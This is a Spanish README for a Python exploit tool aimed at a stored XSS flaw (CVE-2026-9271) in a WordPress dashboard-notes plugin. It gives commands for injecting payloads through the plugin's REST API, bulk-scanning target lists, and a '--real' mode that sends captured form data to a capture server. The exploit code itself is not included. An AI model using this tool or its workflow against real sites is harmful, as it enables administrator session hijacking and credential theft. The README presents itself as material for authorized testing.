[!IMPORTANT]
Solo uso autorizado. Esta herramienta es para investigación de seguridad, educación y prueba de sistemas que poseas o tengas permiso explícito por escrito para evaluar. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.
Tabla de Contenidos
Resumen
CVE-2026-9271 es un problema de cross-site scripting (XSS) almacenado en el plugin KeepInMind (Dashboard Notes) de WordPress. La sanitización insuficiente del contenido de las notas permite que un usuario autenticado con privilegios bajos (Contribuidor+) almacene HTML/JS que se ejecuta en el navegador de un administrador, lo que puede llevar a compromiso de sesión de administrador / toma de control de la cuenta.
KIM-Guardian Pro (CVE-2026-9271.py) es una herramienta de evaluación en Python para evaluadores autorizados para:
- Detectar instalaciones de KeepInMind y rangos de versión
- Realizar una evaluación segura en modo de prueba (marcador superpuesto, sin captura de credenciales)
- Escanear listas de URL en masa para detectar la presencia del plugin y versiones vulnerables
- Persistir resultados en SQLite e informes de texto bajo
reports/
- Opcionalmente ejecutar una captura local / interfaz web para simulaciones de laboratorio controladas
Detalles de la Vulnerabilidad
Superficies relevantes
| Superficie | Rol |
|---|
/wp-json/keepinmind/v1/notes | API REST utilizada para crear/leer notas |
/wp-admin/ | Panel de administración donde las notas almacenadas pueden renderizarse |
| Ruta del plugin | /wp-content/plugins/keepinmind-dashboard-notes/ |
Flujo de evaluación (alto nivel)
- Autenticarse como usuario Contribuidor+ (cuando se proporcionan credenciales)
- Confirmar que KeepInMind está instalado y registrar versiones de WordPress / plugin
- Inyectar un payload de prueba a través de la API REST de notas (por defecto)
- Verificar que el marcador aparece donde se renderizan las notas
- Limpiar las notas inyectadas (a menos que se use
--no-cleanup)
- Guardar metadatos de la evaluación en SQLite y un informe de texto
Características
Capacidades principales
Controles operativos
| Capacidad | Descripción |
|---|
| Registro detallado | Depuración en archivo + consola bajo logs/ |
| Soporte de proxy | Enrutar tráfico a través de Burp u otros proxies HTTP |
| Tiempo de espera configurable | Tiempo de espera por solicitud (30s por defecto) |
Instalación
Requisitos previos
- Python 3.8+
pip
- Acceso de red al/los objetivo(s) autorizado(s)
Configuración
cd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Paquetes adicionales recomendados usados por este script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
Dependencias principales
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # opcional — solo modo web
Inicio rápido
Reemplaza https://lab.example solo con un objetivo de laboratorio o autorizado.
# Ayuda / modos
python3 CVE-2026-9271.py --help
# Evaluación segura de un solo objetivo (por defecto: payload de prueba)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Escaneo masivo de versión / plugin
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# Listar evaluaciones recientes desde SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Servidor de captura local (solo laboratorio)
python3 CVE-2026-9271.py capture --port 5000
# Interfaz web opcional
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Guía de uso
1. Mostrar ayuda
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
2. Evaluación segura (recomendada)
El modo por defecto utiliza una superposición de prueba que no captura. Proporciona credenciales de Contribuidor+ para la inyección a través de la API REST.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
Flujo de trabajo:
- Mostrar banner y crear un ID de payload único
- Autenticar (si se proporciona
-u / -p)
- Detectar versiones de KeepInMind + WordPress
- Inyectar y verificar el marcador de prueba seguro
- Limpiar notas (a menos que se use
--no-cleanup)
- Persistir resultado en BD +
reports/kim_assessment_*.txt
3. Omitir limpieza
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
4. Proxy + tiempo de espera
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
5. Simulación de ataque en laboratorio (solo entornos autorizados)
Requiere una URL base de atacante/captura y --real. Preferir mantener la captura en localhost para laboratorios.
# Terminal 1 — oyente de captura
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — evaluación con endpoint de captura
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
UI de Captura (cuando el servidor está en ejecución):
| Ruta | Propósito |
|---|
/ | Página de estado del servidor de captura |
/capture | Endpoint POST para envíos de formularios |
/captured | Entradas capturadas recientes (revisión de laboratorio) |
6. Escaneo masivo
# targets.txt — una URL por línea
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# O URLs separadas por comas
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
Las comprobaciones masivas suelen incluir pistas de WordPress, versión de KeepInMind, accesibilidad REST y presencia de wp-login.php.
7. Historial de base de datos
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
8. Interfaz web
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Vincular a localhost por defecto por seguridad.
Referencia de comandos
Global
assess
bulk
capture
| Argumento | Por defecto | Descripción |
|---|
--port | 5000 | Puerto de escucha |
web
| Argumento | Por defecto | Descripción |
|---|
--host | 127.0.0.1 | Dirección de enlace |
--port | 8080 | Puerto de escucha |
db
| Argumento | Por defecto | Descripción |
|---|
--list | desactivado | Listar evaluaciones recientes |
--limit | 10 | Máximo de filas a mostrar |
Consola
Registro coloreado para autenticación, detección de plugin, inyección, verificación y limpieza.
Informes de texto
Las ejecuciones exitosas de assess escriben archivos como:
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
SQLite
| Archivo | Propósito |
|---|
kim_guardian.db | Historial de evaluaciones (objetivo, versiones, indicador de vulnerabilidad, riesgo, duración) |
Registros
| Ruta | Propósito |
|---|
logs/kim_pro_*.log | Registros de aplicación por ejecución |
- URL
- Versión de WordPress
- Versión del plugin
- Vulnerable (sí/no según heurística de versión)
- REST accesible
- WP-Login accesible
Solución de problemas
Flujo de depuración
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
Estructura del repositorio
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Dependencias de Python
├── README.md # Este archivo
├── kim_guardian.db # Historial de evaluaciones SQLite (generado)
├── logs/ # Registros de ejecución (generados)
├── reports/ # Informes de evaluación de texto (generados)
└── venv/ # Virtualenv local (opcional)
Historial de versiones
v1.0.0 — Lanzamiento inicial
- Evaluación de KeepInMind de un solo objetivo para CVE-2026-9271
- Payload de prueba seguro (por defecto) y simulación opcional de captura de laboratorio
- Detección de versión de plugin / WordPress
- Inyección, verificación y limpieza de notas REST
- Escaneo masivo multihilo
- Persistencia SQLite + informes de texto
- Servidor de captura e interfaz web Flask opcional
- Soporte de proxy, tiempo de espera y registro verbose
Descargo de responsabilidad
Este proyecto se proporciona tal cual para investigación de seguridad defensiva y pruebas de penetración autorizadas.
Al usar este software aceptas que:
- Solo atacarás sistemas que posees o para los cuales tienes autorización explícita.
- Entiendes las leyes aplicables de abuso informático y protección de datos.
- El autor y los contribuyentes no son responsables de daños, pérdida de datos o consecuencias legales por mal uso.
Si encuentras este problema en sistemas de producción que no posees, sigue la divulgación responsable con el propietario del sitio y el mantenedor del plugin.
El acceso no autorizado a sistemas informáticos es ilegal.
Autor y créditos
Licencia
Educational / Defensive Use Only
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is granted to use this software for authorized security research,
education, and defensive assessment only.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Solo para pruebas de seguridad autorizadas.